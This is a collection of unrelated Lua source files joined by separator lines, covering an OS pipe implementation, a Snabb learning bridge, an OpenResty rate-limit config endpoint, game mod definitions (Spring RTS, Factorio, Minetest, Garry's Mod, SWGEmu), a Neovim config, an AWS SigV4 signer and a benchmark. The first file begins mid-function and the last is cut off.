-- if next is dead, ignore all writes
if coroutine.status(self.next) ~= "dead" then
io.stderr:write("attempt to use a closed stream\n")
os.exit(1)
end
elseif self.redirect[1] then
return self.redirect[1]:write(value)
elseif not self.closed then
self.buffer = self.buffer .. value
return self:continue(true)
end
os.exit(0) -- abort the current process: SIGPIPE
end,
read = function(self, n)
if self.closed then
return nil -- eof
end
if self.redirect[0] then
-- popen could be using this code path
-- if that is the case, it is important to leave stream.buffer alone
return self.redirect[0]:read(n)
elseif self.buffer == "" then
-- the pipe_stream write resume is waiting on this process B (A|B) to yield
-- yield here requests A to output again. However, B may elsewhere want a
-- natural yield (i.e. for events). To differentiate this yield from natural
-- yields we set read_mode here, which the pipe_stream write detects
self.read_mode = true
coroutine.yield_past(self.next) -- next is the first croutine in this stack
self.read_mode = false
end
local result = string.sub(self.buffer, 1, n)
self.buffer = string.sub(self.buffer, n + 1)
return result
end
}
-- prog1 | prog2 | ... | progn
function pipe.buildPipeChain(progs)
local chain = {}
local prev_piped_stream
for i=1,#progs do
local thread = progs[i]
-- A needs to be a stack in case any thread in A call write and then B natural yields
-- B needs to be a stack in case any thread in B calls read
pipe.createCoroutineStack(thread)
chain[i] = thread
local data = process.info(thread).data
local pio = data.io
local piped_stream
if i < #progs then
local handle = setmetatable({redirect = {rawget(pio, 1)},buffer = ""}, {__index = pipe_stream})
piped_stream = buffer.new("rw", handle)
piped_stream:setvbuf("no", 1024)
pio[1] = piped_stream
table.insert(data.handles, piped_stream)
end
if prev_piped_stream then
prev_piped_stream.stream.redirect[0] = rawget(pio, 0)
prev_piped_stream.stream.next = thread
pio[0] = prev_piped_stream
end
prev_piped_stream = piped_stream
end
return chain
end
local chain_stream =
{
read = function(self, value, ...)
if self.io_stream.closed then return nil end
-- wake up prog
self.ready = false -- the pipe proc sets this true when ios completes
local ret = table.pack(coroutine.resume(self.pco.root, value, ...))
if coroutine.status(self.pco.root) == "dead" then
return nil
elseif not ret[1] then
return table.unpack(ret, 1, ret.n)
end
if not self.ready then
-- prog yielded back without writing/reading
return self:read(coroutine.yield())
end
return ret[2]
end,
write = function(self, ...)
return self:read(...)
end,
close = function(self)
self.io_stream:close()
end,
}
function pipe.popen(prog, mode, env)
mode = mode or "r"
if mode ~= "r" and mode ~= "w" then
return nil, "bad argument #2: invalid mode " .. tostring(mode) .. " must be r or w"
end
local r = mode == "r"
local chain = {}
-- to simplify the code - shell.execute is run within a function to pass (prog, env)
-- if cmd_proc where to come second (mode=="w") then the pipe_proc would have to pass
-- the starting args. which is possible, just more complicated
local cmd_proc = process.load(function() return shell.execute(prog, env) end, nil, nil, prog)
-- the chain stream is the popen controller
local stream = setmetatable({}, { __index = chain_stream })
-- the stream needs its own process for io
local pipe_proc = process.load(function()
local n = r and 0 or ""
local key = r and "read" or "write"
local ios = stream.io_stream
while not ios.closed do
-- read from pipe
local ret = table.pack(ios[key](ios, n))
stream.ready = true
-- yield outside the chain now
n = coroutine.yield_past(chain[1], table.unpack(ret, 1, ret.n))
end
end, nil, nil, "pipe_handler")
chain[r and 1 or 2] = cmd_proc
chain[r and 2 or 1] = pipe_proc
-- link the cmd and pipe proc io
pipe.buildPipeChain(chain)
local cmd_data = process.info(chain[1]).data
local cmd_stack = cmd_data.coroutine_handler
-- store handle to io_stream from easy access later
stream.io_stream = cmd_data.io[1].stream
stream.pco = cmd_stack
-- popen commands start out running, like threads
cmd_stack.resume(cmd_stack.root)
local buffered_stream = buffer.new(mode, stream)
buffered_stream:setvbuf("no", 1024)
return buffered_stream
end
return pipe
|
local monster_config = {}
return monster_config
|
-- This class derives from lib.bridge.base and implements a "learning
-- bridge" using a Bloom filter (provided by lib.bloom_filter) to
-- store the set of MAC source addresses of packets arriving on each
-- port.
--
-- Two Bloom storage cells called mac_table and mac_shadow are
-- allocated for each port connected to the bridge. For each packet
-- arriving on a port, the MAC source address is stored in both cells.
-- The mac_table cell is used during packet forwarding while
-- mac_shadow is used to time out the learned addresses.
--
-- When a packet is received on a port, its MAC destination address is
-- looked up in the mac_table cells of all associated output
-- ports. The packet is sent on all ports for which the lookup results
-- in a match, replicating the packet if necessary. A destination can
-- be associated with multiple output ports, either because the
-- address has actually been learned on multiple ports or due to false
-- positives in the lookup operation, which are inevitable for Bloom
-- filters.
--
-- Multicast MAC addresses are always flooded to all output ports
-- associated with the input port.
--
-- The timing out of learned addresses is implemented by periodically
-- copying mac_shadow to mac_table and clearing mac_shadow for every
-- port. I.e., mac_table contains only the addresses learned during
-- the past timeout interval.
--
-- Configuration variables (via the "config" table in the generic
-- configuration of the base class)
--
-- mac_table_size (default 1000)
--
-- Expected maximum number of MAC addresses to store in each
-- per-port Bloom filter.
--
-- fp_rate (default 0.001)
--
-- Maximum rate of false-positives for lookups in the Bloom
-- filters, provided the number of distinct objects stored in the
-- filter does not exceed mac_table_size.
--
-- timeout (default 60 seconds)
--
-- Timeout for learned MAC addresses in seconds.
--
-- verbose (default false)
--
-- If true, a diagnostic message containing the storage cell usage
-- of each mac_table is printed to stdout
--
module(..., package.seeall)
local ffi = require("ffi")
local bridge_base = require("apps.bridge.base").bridge
local packet = require("core.packet")
local link = require("core.link")
local bloom = require("lib.bloom_filter")
local ethernet = require("lib.protocol.ethernet")
local empty, receive, transmit = link.empty, link.receive, link.transmit
local clone = packet.clone
bridge = subClass(bridge_base)
bridge._name = "learning bridge"
local default_config = { mac_table_size = 1000, fp_rate = 0.001,
timeout = 60, verbose = false }
function bridge:new (arg)
local o = bridge:superClass().new(self, arg)
local conf = o._conf
for k, v in pairs(default_config) do
if not conf[k] then
conf[k] = v
end
end
local bf = bloom:new(conf.mac_table_size, conf.fp_rate)
o._bf = bf
o._nsrc_ports = #o._src_ports
o._port_index = 1
-- Per-port Bloom filters
o._filters = {}
for _, port in ipairs(o._src_ports) do
o._filters[port] = { mac_table = bf:cell_new(),
mac_shadow = bf:cell_new(),
mac_address = bf:item_new()
}
end
o._eth_dst = bf:item_new()
timer.activate(timer.new("mac_learn_timeout",
function (t)
if conf.verbose then
print("MAC learning timeout")
print("Table usage per port:")
end
for port, filter in pairs(o._filters) do
bf:cell_copy(filter.mac_shadow, filter.mac_table)
bf:cell_clear(filter.mac_shadow)
if conf.verbose then
print(string.format("\t%s: %02.2f%%", port,
100*bf:cell_usage(filter.mac_table)))
end
end
end,
conf.timeout *1e9, 'repeating')
)
-- Caches for various cdata pointer objects to avoid boxing in the
-- push() loop
o._cache = {
p = ffi.new("struct packet *[1]"),
mem = ffi.new("uint8_t *[1]")
}
return o
end
-- We only process a single input port for each call of the push()
-- method to reduce the number of nested loops. A better
-- understanding of the JIT compiler is needed to decide whether this
-- is actually a good thing or not. Empirical data suggests it is :)
function bridge:push()
local src_port = self._src_ports[self._port_index]
local l_in = self.input[src_port]
while not empty(l_in) do
local cache = self._cache
local dst_ports = self._dst_ports
local p = cache.p
local mem = cache.mem
local filters = self._filters
local eth_dst = self._eth_dst
local bf = self._bf
p[0] = receive(l_in)
-- Create a storage item from the destination MAC address
-- for matching with the source addresses learned on the
-- outbound ports, unless it is a multicast address.
mem[0] = packet.data(p[0])
local is_mcast = ethernet:is_mcast(mem[0])
if not is_mcast then
bf:store_value(mem, 6, eth_dst)
end
-- Store the source MAC address in the active and shadow
-- Bloom filters.
local filter = filters[src_port]
local mac_address = filter.mac_address
mem[0] = mem[0] + 6
bf:store_value(mem, 6, mac_address, filter.mac_table)
bf:store_item(mac_address, filter.mac_shadow)
local ports = dst_ports[src_port]
local copy = false
local j = 1
while ports[j] do
local dst_port = ports[j]
if is_mcast or bf:check_item(eth_dst, filters[dst_port].mac_table) then
if not copy then
transmit(self.output[dst_port], p[0])
copy = true
else
transmit(self.output[dst_port], clone(p[0]))
end
end
j = j + 1
end
if not copy then
-- The source MAC address is unknown, flood the packet to
-- all ports
local output = self.output
transmit(output[ports[1]], p[0])
local j = 2
while ports[j] do
transmit(output[ports[j]], clone(p[0]))
j = j + 1
end
end
end -- of while not empty(l_in)
if self._port_index == self._nsrc_ports then
self._port_index = 1
else
self._port_index = self._port_index + 1
end
end
|
ngx.header["Content-Type"] = "application/json;charset=UTF-8"
local cjson = require('cjson.safe')
local jencode = cjson.encode
local system_conf = require "config.init"
local denycc_rate_conf = system_conf.denycc_rate_conf
local ngxshared = ngx.shared
local denycc_conf = ngxshared.denycc_conf
local config = {
["denycc_switch"] = denycc_conf:get('denycc_switch') or system_conf.denycc_switch,
["denycc_rate_request"] = denycc_conf:get('denycc_rate_request') or denycc_rate_conf.request,
["denycc_rate_ts"] = denycc_conf:get('denycc_rate_ts') or denycc_rate_conf.ts,
["whitelist_ips"] = system_conf.whitelist_ips
}
ngx.print(jencode(config))
|
-- Copyright 2018 Sadkit
local inertia = require("inertia")
local picture = display.newRect( 50, 50, 150, 50 )
picture.strokeWidth = 3
picture:setFillColor( 0.5 )
picture:setStrokeColor( 1, 0, 0 )
local function onNewFrame()
inertia.moveTo(picture, 200, 400, 4, 60)
inertia.rotate(picture, 4000, 60)
end
Runtime:addEventListener("enterFrame", onNewFrame)
|
return {
tllinsulator = {
acceleration = 0.1,
amphibious = 1,
brakerate = 0.05,
buildcostenergy = 88394,
buildcostmetal = 6645,
builder = false,
buildpic = "tllinsulator.dds",
buildtime = 75000,
canattack = true,
canguard = true,
canmove = true,
canpatrol = true,
canstop = 1,
category = "ALL MEDIUM MOBILE SURFACE UNDERWATER",
collisionvolumeoffsets = "0 -7 4",
collisionvolumescales = "67 67 86",
collisionvolumetype = "CylZ",
corpse = "dead",
defaultmissiontype = "Standby",
description = "Amphibious Assault Tank",
explodeas = "CRAWL_BLASTSML",
firestandorders = 1,
footprintx = 4,
footprintz = 4,
idleautoheal = 5,
idletime = 1800,
leavetracks = true,
losemitheight = 60,
maneuverleashlength = 640,
mass = 6445,
maxdamage = 19060,
maxslope = 12,
maxvelocity = 1.45,
maxwaterdepth = 255,
mobilestandorders = 1,
movementclass = "ATANK3",
name = "Insulator",
noautofire = false,
objectname = "tllinsulator",
radaremitheight = 60,
seismicsignature = 0,
selfdestructas = "CRAWL_BLAST",
sightdistance = 500,
standingfireorder = 2,
standingmoveorder = 1,
steeringmode = 1,
trackoffset = 6,
trackstrength = 5,
trackstretch = 1,
tracktype = "StdTank",
trackwidth = 42,
turninplace = 0,
turninplaceanglelimit = 140,
turninplacespeedlimit = 0.858,
turnrate = 330,
unitname = "tllinsulator",
customparams = {
buildpic = "tllinsulator.dds",
faction = "TLL",
},
featuredefs = {
dead = {
blocking = false,
collisionvolumeoffsets = "-0.186714172363 0.0605638549805 -0.322418212891",
collisionvolumescales = "50.9460906982 23.33152771 45.8317565918",
collisionvolumetype = "Box",
damage = 2968,
description = "Insulator Wreckage",
featuredead = "heap",
footprintx = 2,
footprintz = 2,
metal = 373,
object = "tllinsulator_DEAD",
reclaimable = true,
},
heap = {
blocking = false,
damage = 3711,
description = "Insulator Debris",
energy = 0,
footprintx = 2,
footprintz = 2,
metal = 199,
object = "2X2A",
reclaimable = true,
},
},
sfxtypes = {
explosiongenerators = {
[1] = "custom:goliathflare",
[2] = "custom:PILOT",
},
pieceexplosiongenerators = {
[1] = "piecetrail0",
[2] = "piecetrail1",
[3] = "piecetrail2",
[4] = "piecetrail3",
[5] = "piecetrail4",
[6] = "piecetrail6",
},
},
sounds = {
canceldestruct = "cancel2",
underattack = "warning1",
cant = {
[1] = "cantdo4",
},
count = {
[1] = "count6",
[2] = "count5",
[3] = "count4",
[4] = "count3",
[5] = "count2",
[6] = "count1",
},
ok = {
[1] = "tarmmove",
},
select = {
[1] = "tarmsel",
},
},
weapondefs = {
tll_flame = {
areaofeffect = 48,
avoidfeature = false,
burst = 22,
burstrate = 0.01,
craterareaofeffect = 0,
craterboost = 0,
cratermult = 0,
firestarter = 100,
flamegfxtime = 1.4,
groundbounce = true,
impulseboost = 0,
impulsefactor = 0,
intensity = 0.6,
name = "Flame",
noselfdamage = true,
range = 340,
reloadtime = 1.1,
rgbcolor = "1 0.95 0.9",
rgbcolor2 = "0.9 0.85 0.8",
sizegrowth = 1.25,
soundhitwet = "sizzle",
soundhitwetvolume = 0.5,
soundstart = "Flamhvy1",
soundtrigger = false,
sprayangle = 675,
tolerance = 2500,
turret = true,
weapontimer = 1.5,
weapontype = "Flame",
weaponvelocity = 265,
damage = {
default = 24,
flamethrowers = 8,
subs = 5,
},
},
tll_insulator = {
areaofeffect = 300,
avoidfeature = false,
cegtag = "Trail_cannon_med",
craterareaofeffect = 300,
craterboost = 0,
cratermult = 0,
explosiongenerator = "custom:FLASH96",
gravityaffected = "TRUE",
impulseboost = 0.123,
impulsefactor = 0.123,
name = "HeavyCannon",
nogap = 1,
noselfdamage = true,
range = 700,
reloadtime = 2.5,
rgbcolor = "0.72 0.4 0",
separation = 0.45,
size = 2.7,
sizedecay = -0.15,
soundhitdry = "xplomed4",
soundhitwet = "splslrg",
soundhitwetvolume = 0.6,
soundstart = "cannhvy2",
stages = 20,
turret = true,
weapontype = "Cannon",
weaponvelocity = 325,
damage = {
commanders = 450,
default = 1400,
subs = 5,
},
},
},
weapons = {
[1] = {
def = "TLL_INSULATOR",
onlytargetcategory = "SURFACE",
},
[2] = {
badtargetcategory = "ANTIFLAME",
def = "TLL_FLAME",
maindir = "0 0 -1",
maxangledif = 270,
onlytargetcategory = "SURFACE",
},
[3] = {
badtargetcategory = "ANTIFLAME",
def = "TLL_FLAME",
maindir = "0 0 1",
maxangledif = 270,
onlytargetcategory = "SURFACE",
},
},
},
}
|
require "config"
local function createCoalOilPlantItem()
data:extend(
{
{
type = "item",
name = "fusion-oil-plant",
icon = "__fupower__/graphics/icons/fusion-oil-plant.png",
flags = {"goes-to-quickbar"},
subgroup = "fusion-buildings",
place_result = "fusion-oil-plant",
order = "g",
stack_size = 10
},
})
end
if config.fuoil.coalOilPlant==true then
createCoalOilPlantItem()
end
|
-- dofile('./lua/plugins.lua')
require('plugins')
-- require 'impatient'
local g = vim.g
local cmd = vim.cmd
local o, wo, bo = vim.o, vim.wo, vim.bo
local utils = require 'config.utils'
local opt = utils.opt
local autocmd = utils.autocmd
local map = utils.map
-- Leader/local leader
g.mapleader = [[ ]]
g.maplocalleader = [[,]]
-- Disable some built-in plugins we don't want
local disabled_built_ins = {
'gzip',
'man',
'matchit',
'matchparen',
'shada_plugin',
'tarPlugin',
'tar',
'zipPlugin',
'zip',
'netrwPlugin',
}
for i = 1, 10 do
g['loaded_' .. disabled_built_ins[i]] = 1
end
-- Settings
local buffer = { o, bo }
local window = { o, wo }
opt('textwidth', 100, buffer)
opt('scrolloff', 7)
opt('mouse', 'a')
opt('wildignore', '*.o,*~,*.pyc')
opt('wildmode', 'longest,full')
opt('whichwrap', vim.o.whichwrap .. '<,>,h,l')
opt('inccommand', 'nosplit')
opt('lazyredraw', true)
opt('showmatch', true)
opt('ignorecase', true)
opt('smartcase', true)
opt('tabstop', 4, buffer)
opt('softtabstop', 0, buffer)
opt('expandtab', true, buffer)
opt('shiftwidth', 4, buffer)
opt('number', true, window)
opt('relativenumber', true, window)
opt('smartindent', true, buffer)
opt('laststatus', 2)
opt('showmode', false)
opt('shada', [['20,<50,s10,h,/100]])
opt('hidden', true)
opt('shortmess', o.shortmess .. 'c')
opt('joinspaces', false)
opt('guicursor', [[n-v-c:block,i-ci-ve:ver25,r-cr:hor20,o:hor50]])
opt('updatetime', 500)
opt('maxmempattern', 1000000000)
opt('conceallevel', 2, window)
opt('concealcursor', 'nc', window)
opt('previewheight', 5)
opt('undofile', true, buffer)
opt('synmaxcol', 500, buffer)
opt('display', 'msgsep')
opt('cursorline', true, window)
opt('modeline', false, buffer)
opt('mouse', 'nivh')
opt('signcolumn', 'yes:1', window)
-- Colorscheme
opt('termguicolors', true)
opt('background', 'dark')
-- cmd [[colorscheme gruvbox-material]]
-- cmd [[colorscheme nazgul]]
-- Autocommands
-- autocmd('start_screen', [[VimEnter * ++once lua require('start').start()]], true)
autocmd(
'syntax_aucmds',
[[Syntax * syn match extTodo "\<\(NOTE\|HACK\|BAD\|TODO\):\?" containedin=.*Comment.* | hi! link extTodo Todo]],
true
)
autocmd('misc_aucmds', {
[[BufWinEnter * checktime]],
[[TextYankPost * silent! lua vim.highlight.on_yank()]],
[[FileType qf set nobuflisted ]],
}, true)
-- Commands
cmd [[command! WhatHighlight :call util#syntax_stack()]]
cmd [[command! PackerInstall packadd packer.nvim | lua require('plugins').install()]]
cmd [[command! PackerUpdate packadd packer.nvim | lua require('plugins').update()]]
cmd [[command! PackerSync packadd packer.nvim | lua require('plugins').sync()]]
cmd [[command! PackerClean packadd packer.nvim | lua require('plugins').clean()]]
cmd [[command! PackerCompile packadd packer.nvim | lua require('plugins').compile()]]
-- Keybindings
local silent = { silent = true }
-- Disable annoying F1 binding
map('', '<f1>', '<cmd>FloatermToggle<cr>')
-- Run a build
map('n', '<localleader><localleader>', '<cmd>Make<cr>', silent)
-- Quit, close buffers, etc.
map('n', '<leader>q', '<cmd>qa<cr>', silent)
map('n', '<leader>x', '<cmd>x!<cr>', silent)
map('n', '<leader>d', '<cmd>Sayonara<cr>', { silent = true, nowait = true })
-- A little Emacs in my Neovim
map('n', '<c-x><c-s>', '<cmd>w<cr>', silent)
map('i', '<c-x><c-s>', '<esc><cmd>w<cr>a', silent)
-- Save buffer
map('n', '<leader>w', '<cmd>w<cr>', { silent = true })
-- Version control
map('n', 'gs', '<cmd>Neogit<cr>', silent)
-- Terminal mode
-- Esc in the terminal
-- augroup Terminal
-- autocmd!
-- au TermOpen * tnoremap <buffer> <Esc><Esc> <c-\><c-n>
-- au TermOpen * set nonu
-- augroup end
map('t', 'jj', [[<C-\><C-n>]])
-- Yank to clipboard
map({ 'n', 'v' }, 'y+', '<cmd>set opfunc=util#clipboard_yank<cr>g@', silent)
vim.cmd([[
let g:clipboard = {
\ 'name': 'myClipboard',
\ 'copy': {
\ '+': ['tmux', 'load-buffer', '-'],
\ '*': ['tmux', 'load-buffer', '-'],
\ },
\ 'paste': {
\ '+': ['tmux', 'save-buffer', '-'],
\ '*': ['tmux', 'save-buffer', '-'],
\ },
\ 'cache_enabled': 1,
\ }
]])
-- remove lines contain selected contents
-- vnoremap <silent> <leader>d y:g/\V<C-R>=escape(@",'/\')<CR>/d<CR>
map('v', '<localleader>d', 'y:g/\\V<C-R>=escape(@",\'/\\\')<CR>/d<CR>')
-- " replace selected string
-- vnoremap <F4> y:%s/<C-R>=escape(@",'/\')<CR>/<C-R>=escape(@",'/\')<CR>/g<Left><Left>
map('v', '<localleader>r', 'y:%s/<C-R>=escape(@",\'/\\\')<CR>/<C-R>=escape(@",\'/\\\')<CR>/g<Left><Left>')
-- " map // to search selection
-- vnoremap // y/\V<C-R>=escape(@",'/\')<CR><CR>
map('v', '//', 'y/\\V<C-R>=escape(@",\'/\\\')<CR><CR>')
-- " quick add quota to a word.
-- nnoremap <leader>" viw<esc>a"<esc>bi"<esc>lel
map('n', '<localleader>"', 'viw<esc>a"<esc>bi"<esc>lel')
-- quick diffget
map('n', '<localleader>dg', ':diffget<CR>', silent)
-- use [[ / ]] to goto previous/next function
function search_function_previous()
vim.api.nvim_command(":noh")
if vim.bo.filetype=="go" then
vim.api.nvim_command("?func .*(")
elseif vim.bo.filetype == "py" then
vim.api.nvim_command("?def \\w*")
end
vim.api.nvim_command("let @/ = ''")
vim.api.nvim_command("set hlsearch")
end
function search_function_next()
vim.api.nvim_command(":noh")
if vim.bo.filetype=="go" then
vim.api.nvim_command("/func .*(")
elseif vim.bo.filetype == "py" then
vim.api.nvim_command("/def \\w*")
end
vim.api.nvim_command("let @/ = ''")
vim.api.nvim_command("set hlsearch")
end
vim.api.nvim_set_keymap("n", "[[", ":lua search_function_previous()<CR>", {silent=true})
vim.api.nvim_set_keymap("n", "]]", ":lua search_function_next()<CR>", {silent=true})
-- Window movement
map('n', '<c-h>', '<c-w>h')
map('n', '<c-j>', '<c-w>j')
map('n', '<c-k>', '<c-w>k')
map('n', '<c-l>', '<c-w>l')
-- Tab movement
map('n', '(', '<cmd>tabpre<cr>')
map('n', ')', '<cmd>tabnext<cr>')
-- MAPPINGS
map("n", "<S-t>", [[<Cmd>tabnew<CR>]], silent) -- new tab
vim.cmd [[colorscheme gruvbox-material]]
|
return require 'rewrite_url_captures'
|
BOT_MODE = true
include("shared.lua")
include("sv_commands.lua")
include("sv_convar.lua")
include("sv_config.lua")
include("sv_player.lua")
include("sv_language.lua")
include("sv_message.lua")
include("sv_classmanager.lua")
include("sv_roundmanager.lua")
include("sv_eventmanager.lua")
include("sv_infectionmanager.lua")
include("sv_weaponmanager.lua")
include("sv_extraitems.lua")
include("sv_votemap.lua")
include("sv_mapmanager.lua")
include("sv_bank.lua")
AddCSLuaFile("shared.lua")
AddCSLuaFile("sh_bank.lua")
AddCSLuaFile("sh_roundmanager.lua")
AddCSLuaFile("sh_player.lua")
AddCSLuaFile("sh_playermanager.lua")
AddCSLuaFile("cl_hud.lua")
AddCSLuaFile("cl_language.lua")
AddCSLuaFile("cl_message.lua")
AddCSLuaFile("cl_player.lua")
AddCSLuaFile("cl_roundmanager.lua")
AddCSLuaFile("cl_menu.lua")
AddCSLuaFile("cl_keymanager.lua")
AddCSLuaFile("cl_derma.lua")
AddCSLuaFile("cl_scoreboard.lua")
AddCSLuaFile("zombieplague/gamemode/vgui/vgui_keybinding.lua")
AddCSLuaFile("zombieplague/gamemode/vgui/vgui_hudcustomizer.lua")
function SafeTableRandom(Table)
local Result = table.Random(Table)
return Result
end
hook.Add("PlayerDisconnected", "ZombiePlagueDisconnect", function(ply)
RoundManager:RemovePlayerToPlay(ply)
end)
hook.Add("Initialize", "ServerReady", function()
Dictionary:Init()
ClassManager:SearchClasses()
RoundManager:SearchRounds()
WeaponManager:SearchWeapons()
ExtraItemsManager:Search()
MapManager:SearchConfigs()
end)
net.Receive("RequestServerStatus", function(len, ply)
ply:SetLanguage(net.ReadString(), false)
RoundManager:AddPlayerToPlay(ply)
local Status = RoundManager:GetServerStatus(ply)
net.Start("SendServerStatus")
net.WriteTable(Status)
net.Send(ply)
end)
util.AddNetworkString("OpenZPMenu")
util.AddNetworkString("RequestServerStatus")
util.AddNetworkString("SendServerStatus")
util.AddNetworkString("OpenBackMenu")
|
-- generate amazon v4 authorization signature
-- https://docs.aws.amazon.com/general/latest/gr/signature-version-4.html
-- Author: jeffry L. paragasu@gmail.com
-- Licence: MIT
local resty_sha256 = require 'resty.sha256'
local hmac = require 'resty.hmac'
local str = require 'resty.string'
local aws_key, aws_secret, aws_region, aws_service, aws_host
local iso_date, iso_tz, cont_type, req_method, req_path, req_body, req_querystr
local _M = {
_VERSION = '0.1.0'
}
local mt = { __index = _M }
-- init new aws auth
function _M.new(self, config)
aws_key = config.aws_key
aws_secret = config.aws_secret
aws_region = config.aws_region
aws_service = config.aws_service
aws_host = config.aws_host
cont_type = config.content_type or "application/x-www-form-urlencoded"
req_method = config.request_method or "POST"
req_path = config.request_path or "/"
req_body = config.request_body
req_querystr = config.request_querystr or ""
-- set default time
self:set_iso_date(ngx.time())
return setmetatable(_M, mt)
end
-- required for testing
function _M.set_iso_date(self, microtime)
iso_date = os.date('!%Y%m%d', microtime)
iso_tz = os.date('!%Y%m%dT%H%M%SZ', microtime)
end
-- create canonical headers
-- header must be sorted asc
function _M.get_canonical_header(self)
local h = {
'content-type:' .. cont_type,
'host:' .. aws_host,
'x-amz-date:' .. iso_tz
}
return table.concat(h, '\n')
end
function _M.get_signed_request_body(self)
local params = req_body
if type(req_body) == 'table' then
table.sort(params)
params = ngx.encode_args(params)
end
local digest = self:get_sha256_digest(params or '')
return string.lower(digest) -- hash must be in lowercase hex string
end
-- get canonical request
-- https://docs.aws.amazon.com/general/latest/gr/sigv4-create-canonical-request.html
function _M.get_canonical_request(self)
local signed_header = 'content-type;host;x-amz-date'
local canonical_header = self:get_canonical_header()
local signed_body = self:get_signed_request_body()
local param = {
req_method,
req_path,
req_querystr, -- canonical querystr
canonical_header,
'', -- required
signed_header,
signed_body
}
local canonical_request = table.concat(param, '\n')
return self:get_sha256_digest(canonical_request)
end
-- generate sha256 from the given string
function _M.get_sha256_digest(self, s)
local h = resty_sha256:new()
h:update(s)
return str.to_hex(h:final())
end
function _M.hmac(self, secret, message)
local h = hmac:new(secret, hmac.ALGOS.SHA256)
local s = h:final(message, false)
h:reset()
return s
end
-- get signing key
-- https://docs.aws.amazon.com/general/latest/gr/sigv4-calculate-signature.html
function _M.get_signing_key(self)
local k_date = self:hmac('AWS4' .. aws_secret, iso_date)
local k_region = self:hmac(k_date, aws_region)
local k_service = self:hmac(k_region, aws_service)
local k_signing = self:hmac(k_service, 'aws4_request')
return k_signing
end
-- get string
function _M.get_string_to_sign(self)
local param = { iso_date, aws_region, aws_service, 'aws4_request' }
local cred = table.concat(param, '/')
local req = self:get_canonical_request()
return table.concat({ 'AWS4-HMAC-SHA256', iso_tz, cred, req}, '\n')
end
-- generate signature
function _M.get_signature(self)
local signing_key = self:get_signing_key()
local string_to_sign = self:get_string_to_sign()
return str.to_hex(self:hmac(signing_key, string_to_sign))
end
-- get authorization string
-- x-amz-content-sha256 required by s3
function _M.get_authorization_header(self)
local param = { aws_key, iso_date, aws_region, aws_service, 'aws4_request' }
local header = {
'AWS4-HMAC-SHA256 Credential=' .. table.concat(param, '/'),
'SignedHeaders=content-type;host;x-amz-date',
'Signature=' .. self:get_signature()
}
return table.concat(header, ', ')
end
-- update ngx.request.headers
-- will all the necessary aws required headers
-- for authentication
function _M.set_ngx_auth_headers(self)
ngx.req.set_header('Authorization', self.get_authorization_header(self))
ngx.req.set_header('X-Amz-Date', iso_tz)
end
-- get the current timestamp in iso8601 basic format
function _M.get_date_header()
return iso_tz
end
return _M
|
-- Incubator nutrients and failure.
minetest.register_craftitem("mt_future:embryo", {
description = "Failed cloning experiment", -- "Indistinct animal embryo" was perhaps a bit trashy :)
inventory_image = "mt_future_embryo.png", -- actually a piglet :)
on_use = minetest.item_eat(-2),
groups = {food_meat_raw = 1, flammable = 2},
})
minetest.register_craftitem("mt_future:nutrients", {
description = "Indistinct nutrients",
inventory_image = "mt_future_nutrients.png",
on_use = minetest.item_eat(-1),
groups = {food_meat_raw = 1, flammable = 2},
})
-- Soylent crackers. Colorful, but not very nutritive.
-- N.B. Soylent Color (with caps) might be a trademark, hence the naming.
minetest.register_craftitem("mt_future:soylent_green", {
description = "Green soylent cracker",
inventory_image = "mt_future_soylent_green.png",
on_use = minetest.item_eat(1),
groups = {food_meat_raw = 1, flammable = 3},
})
minetest.register_craftitem("mt_future:soylent_red", {
description = "Red soylent cracker",
inventory_image = "mt_future_soylent_red.png",
on_use = minetest.item_eat(1),
groups = {food_meat_raw = 1, flammable = 3},
})
minetest.register_craftitem("mt_future:soylent_blue", {
description = "Blue soylent cracker",
inventory_image = "mt_future_soylent_blue.png",
on_use = minetest.item_eat(1),
groups = {food_meat_raw = 1, flammable = 3},
})
minetest.register_craftitem("mt_future:soylent_yellow", {
description = "Yellow soylent cracker",
inventory_image = "mt_future_soylent_yellow.png",
on_use = minetest.item_eat(1),
groups = {food_meat_raw = 1, flammable = 3},
})
|
-- The Computer Language Benchmarks Game
-- http://shootout.alioth.debian.org/
-- contributed by Mike Pall
local function A(i, j)
local ij = i+j-1
return 1.0 / (ij * (ij-1) * 0.5 + i)
end
local function Av(x, y, N)
for i=1,N do
local a = 0
for j=1,N do a = a + x[j] * A(i, j) end
y[i] = a
end
end
local function Atv(x, y, N)
for i=1,N do
local a = 0
for j=1,N do a = a + x[j] * A(j, i) end
y[i] = a
end
end
local function AtAv(x, y, t, N)
Av(x, t, N)
Atv(t, y, N)
end
local N = tonumber(arg and arg[1]) or 100
local u, v, t = {}, {}, {}
for i=1,N do u[i] = 1 end
for i=1,10 do AtAv(u, v, t, N) AtAv(v, u, t, N) end
local vBv, vv = 0, 0
for i=1,N do
local ui, vi = u[i], v[i]
vBv = vBv + ui*vi
vv = vv + vi*vi
end
io.write(string.format("%0.9f\n", math.sqrt(vBv / vv)))
|
-------------------------------------------------------------------------------
--[Planner Pin Panel (helmod)]--
-------------------------------------------------------------------------------
local Gui = require('__stdlib__/stdlib/event/gui')
local lib = require('__PickerAtheneum__/utils/lib')
local function pick_helmod_pin(event)
local player = game.players[event.player_index]
local recipe_name, item_name
if not player.cusor_stack.valid_for_read then
string.gsub(
event.match,
'PlannerPinPanel_recipe_block_%d+=(.+)=(.+)',
function(a, b)
recipe_name = a
item_name = b
end
)
local item = game.item_prototypes[item_name]
local items = {}
local module = event.element.parent['factory-modules' .. recipe_name]
if module then
for _, child in pairs(module.children) do
local name = child.sprite and child.sprite:gsub('item/(.+)', '%1')
if name and game.item_prototypes[name] then
items[#items + 1] = {
item = name,
count = 1
}
end
end
end
if item and event.shift then
local stack = lib.get_item_stack(player, item.name)
if stack then
return player.cursor_stack.swap_stack(stack)
end
elseif item then
local entity = item.place_result
local recipe = game.recipe_prototypes[recipe_name]
if entity and recipe then
local bp = lib.get_planner(player, 'picker-blueprint-tool', 'Pipette Blueprint')
if bp then
bp.clear_blueprint()
bp.label = 'Pipette Blueprint'
bp.allow_manual_label_change = false
local bp_ents = {
{
entity_number = 1,
name = entity.name,
position = {0, 0},
recipe = recipe.name,
items = items[1] and items
}
}
bp.set_blueprint_entities(bp_ents)
return bp.is_blueprint_setup() and bp
end
end
end
end
end
Gui.on_click('PlannerPinPanel_recipe_block_%d+=.+=.+', pick_helmod_pin)
|
pyke_syndicate_criminal = Creature:new {
objectName = "",
randomNameType = NAME_GENERIC,
randomNameTag = true,
socialGroup = "death_watch",
pvpFaction = "death_watch",
faction = "",
level = 300,
chanceHit = 100,
damageMin = 6500,
damageMax = 8050,
specialDamageMult = 1.5,
baseXp = 15000,
